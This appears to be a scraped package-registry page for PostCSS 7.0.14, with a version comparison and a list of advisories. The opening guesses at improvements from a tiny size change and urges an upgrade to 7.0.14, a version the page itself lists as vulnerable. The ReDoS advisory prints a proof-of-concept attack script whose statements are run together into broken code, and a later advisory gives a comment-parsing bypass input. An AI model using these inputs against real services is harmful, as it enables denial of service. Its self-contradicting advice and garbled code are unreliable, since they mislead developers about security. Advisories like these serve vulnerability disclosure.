PostCSS version 7.0.14 represents a minor update to the popular CSS transformation tool, following closely on the heels of version 7.0.13. Both versions share the same core description: they are tools for transforming styles using JavaScript plugins, offering developers a powerful and flexible way to manipulate CSS. The foundation of each version is built upon a consistent set of dependencies: chalk for stylized console output, source-map for debugging, and supports-color for determining terminal color support. Both versions operate under the permissive MIT license and are maintained in the same GitHub repository.
The key difference between the two versions lies in their release dates and unpacked sizes. Version 7.0.14 was released on January 22, 2019, a week after version 7.0.13, which was released on January 15, 2019. The unpacked size of version 7.0.14 is marginally larger at 599736 bytes, compared to the 599342 bytes of 7.0.13. Although the file count remains identical at 35, this slight size increase may point to bug fixes, performance improvements, or minor feature additions within 7.0.14 which could improve stability and reliability for developers. Developers should consider upgrading to the latest 7.0.14 to benefit from these potential enhancements and ensure they are using the most current and refined iteration of the PostCSS library for their CSS processing needs.
All the vulnerabilities related to the version 7.0.14 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.